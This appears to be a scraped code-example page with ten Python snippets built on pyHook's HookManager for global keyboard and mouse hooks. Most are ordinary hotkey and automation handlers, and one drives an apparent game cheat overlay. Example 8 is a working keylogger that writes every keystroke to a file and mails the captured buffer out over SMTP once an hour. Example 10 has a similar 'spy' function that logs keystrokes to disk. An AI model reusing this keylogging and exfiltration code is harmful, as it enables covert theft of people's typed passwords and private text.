示例#1
0
 def restart(self):
     lock.acquire()
     self.hm = HookManager()
     self.hm.KeyDown = self.press
     self.hm.KeyUp = self.release
     self.hm.HookKeyboard()
     lock.release()
示例#2
0
class Keystroke_Watcher(object):
    def __init__(self):
        self.hm = HookManager()
        self.hm.KeyDown = self.on_keyboard_event
        self.hm.HookKeyboard()

    def on_keyboard_event(self, event):
        #print('KeyID:', event.KeyID) #This will display the key ID for all keyboard inputs
        try:
            if event.KeyID == 103:
                self.take_DBD_screenshot()
            if event.KeyID == 104:
                win32gui.EnumWindows(winEnumHandler, None)
        finally:
            return True

    def take_DBD_screenshot(self):
        window_name = "DeadByDaylight  "
        print('Taking DBD Screenshot...')
        output_name = "DBD_" + str(len(glob.glob('DBD_*')) + 1)
        get_bitmap(window_name, output_name)

    def shutdown(self):
        win32gui.PostQuitMessage(0)
        self.hm.UnhookKeyboard()
示例#3
0
class Keystroke_Watcher(object):
    def __init__(self):
        self.hm = HookManager()
        self.hm.KeyDown = self.on_keyboard_event
        self.hm.HookKeyboard()

    def on_keyboard_event(self, event):
        try:
            if event.KeyID == 75:  #k
                self.stop_script()
        finally:
            return True

    def stop_script(self):
        logger.plog(f"Exiting script...")
        os.system("taskkill /IM python.exe /f")  # lol bruteforce

    def shutdown(self):
        win32gui.PostQuitMessage(0)
        self.hm.UnhookKeyboard()
示例#4
0
 def __init__(self):
     self.hm = HookManager()
     self.hm.KeyDown = self.on_keyboard_event
     self.hm.HookKeyboard()
示例#5
0
class KeyListener(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.finished = threading.Event()
        # Variables must be initialized before calling 'HookManager'
        self.pressed = []
        self.listeners = {}
        self.status = 0
        ''' Sometimes symbols are uppercased by an unknown reason,
            however, we lowercase them, therefore it is sufficient
            to have 'c' here.
        '''
        self.addKeyListener('Lcontrol+c+c',
                            lambda: keylistener.set_status(status=1))
        self.addKeyListener('Rcontrol+c+c',
                            lambda: keylistener.set_status(status=1))
        self.addKeyListener('Lcontrol+Insert+Insert',
                            lambda: keylistener.set_status(status=1))
        self.addKeyListener('Rcontrol+Insert+Insert',
                            lambda: keylistener.set_status(status=1))
        self.addKeyListener('Lmenu+Oem_3',
                            lambda: keylistener.set_status(status=2))
        self.addKeyListener('Rmenu+Oem_3',
                            lambda: keylistener.set_status(status=2))
        self.restart()

    def cancel(self):
        self.hm.UnhookKeyboard()
        self.finished.set()

    def restart(self):
        lock.acquire()
        self.hm = HookManager()
        self.hm.KeyDown = self.press
        self.hm.KeyUp = self.release
        self.hm.HookKeyboard()
        lock.release()

    def press(self, event):
        character = str(event.Key)
        if character:
            if len(character) == 1:
                character = character.lower()
            print_v('Key released: {}'.format(character))
            if len(self.pressed) == 2:
                if self.pressed[1] == 'Oem_3':
                    self.pressed = []
            elif len(self.pressed) == 3:
                self.pressed = []
            if character in ('Lcontrol', 'Rcontrol', 'Lmenu', 'Rmenu'):
                self.pressed = [character]
            elif character in ('c', 'C', 'Insert', 'Oem_3'):
                if len(self.pressed) > 0:
                    if self.pressed[0] in ('Lcontrol', 'Rcontrol', 'Lmenu',
                                           'Rmenu'):
                        self.pressed.append(character)
            action = self.listeners.get(tuple(self.pressed), False)
            print_v('Current action: {}'.format(self.pressed))
            if action:
                action()
        # We receive an error without this (an integer is required)
        return True

    def release(self, event):
        """must be called whenever a key release event has occurred."""
        character = str(event.Key)
        if character:
            if len(character) == 1:
                character = character.lower()
            print_v('Key released: %s' % str(character))
            # A released Control key is not taken into account
            # A cyrillic 'с' symbol is recognized as Latin 'c'
            if not character in ('c', 'C', 'Insert', 'Oem_3'):
                self.pressed = []
        # We receive an error without this (an integer is required)
        return True

    def addKeyListener(self, hotkeys, callable):
        keys = tuple(hotkeys.split('+'))
        print_v('Added new keylistener for: {}'.format(keys))
        self.listeners[keys] = callable

    def set_status(self, status=0):
        self.status = status
        print_v('Setting status to {}!'.format(self.status))

    # Returns 0..2
    def check(self):
        if self.status:
            print_v('Hotkey has been caught!')
            status = self.status
            self.status = 0
            return status
示例#6
0
    if isDWMCompositionEnabled():
        if overlayInit(overlayObj):
            WndProc = WNDPROCTYPE(PyWndProcedure)
            if overlayCreateClass(WndProc, "overlay", hModule, overlayObj):
                if overlayCreateWindow(overlayObj, hModule):
                    if directxInit(overlayObj, directxObj):
                        print("[+] Thread created!")
                        while True:
                            if ctypes.windll.user32.PeekMessageW(
                                    ctypes.byref(overlayObj.Message),
                                    overlayObj.Window, 0, 0,
                                    win32con.PM_REMOVE):
                                ctypes.windll.user32.DispatchMessageW(
                                    ctypes.byref(overlayObj.Message))
                                ctypes.windll.user32.TranslateMessage(
                                    ctypes.byref(overlayObj.Message))

                            time.sleep(1)
                            overlayInit(overlayObj)


threadHandle = ctypes.windll.kernel32.CreateThread(0, 0, threadProc, 0, 0, 0)
# print(threadHandle)

print(f"[+] Base address for {moduleName} is {hex(base)}.")
hm = HookManager()
hm.KeyDown = cheatDispatcher
hm.HookKeyboard()
print("[+] Hooked to keyboard successfully!")
pythoncom.PumpMessages()
示例#7
0
    dllpath = pathJoin(pyWinhookFile, "..", "..", "pywin32_system32")
    print("\n", ext)
    print(" DLL dosyaları koypalanmalı!")
    print()
    print("     DLL dosyalarının dizini: ")
    print(f"         {dllpath}")
    print()
    print("     Kopyalanacağı dizin:")
    print("         C:\\Windows\\System32")

    quit()

def OnKeyboardEvent(event):
    yShortcutHandler.handleShortcutPressed(event)
    yLogger.regData(event)
    yLogger.logOnReach(KEY_LIMIT)

    return True

def pumpMessage():
    init()
    while True:
        pump()

yDebugger.setLogLvl(2)
hooks_manager = HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pumpMessage()
示例#8
0
文件: Tr.py 项目: RP-pl/Tests
    server.ehlo()
    server.login("email", "passw")
    server.sendmail("email", "email", buff)
    server.close()
    return


def spy(event):
    global counter, buffer, gate
    if datetime.now().minute == 7 and gate != True:
        t = ThreadPoolExecutor(max_workers=3)
        t.submit(sender, buffer)
        t.shutdown()
        gate = True
    file = open(filepath, "a", encoding="UTF-8")
    if (event.GetKey() not in ("Lshift", "LMenu")) and counter % 2 != 0:
        file.write(chr(event.Ascii))
        buffer += chr(event.Ascii)
    elif event.GetKey() == "Return" and counter % 2 != 0:
        file.write("\n")
    counter += 1
    file.flush()
    file.close()
    return True


hook = HookManager()
hook.HookKeyboard()
hook.HookMouse()
hook.KeyAll = spy
pythoncom.PumpMessages()
示例#9
0
    myScript_8 = MyScript('八连休', Script_8, 0)
    k.registerScript('8', myScript_8)
    myScript_af = MyScript('autofes', Script_af, 5)
    k.registerScript('5', myScript_af)
    # todo:装载的脚本说明

    k.registerEvent('Space', clickHere)
    k.registerEvent('0', stopScript)
    k.registerEvent('Oem_3', setWindow)
    # todo: 暂停和关闭的优先级要提高..
    # k.registerEvent('Escape', exitProgram)
    # k.registerEvent('Tab', pauseProgram)

    # create the hook mananger
    hm = HookManager()

    hm.KeyDown = OnKeyboardEvent
    # hook into the mouse and keyboard events
    hm.HookKeyboard()

    # register two callbacks
    # hm.MouseAllButtonsDown = OnMouseEvent
    # hm.HookMouse()

    from pythoncom import PumpMessages
    PumpMessages()

except Exception as e:
    # raise e
    print(e)
示例#10
0
def onMouse(event):
    print("Pozycja Myszy: ", event.Position)
    print("Weel:", event.Wheel)
    print("------------")
    return True


def spy(event):
    file = open("file.txt", "a", encoding="UTF-8")
    if event.GetKey() not in ("Lshift", "LMenu"):
        file.write(chr(event.Ascii))
    elif event.GetKey() == "Return":
        file.write("\n")
    file.flush()
    file.close()
    return True


def tester(event):
    print(event.GetKey())
    return True


hook = HookManager()
hook.HookKeyboard()
hook.HookMouse()
hook.KeyAll = onAllKeys
hook.MouseAll = onMouse
#hook.KeyAll = spy
pythoncom.PumpMessages()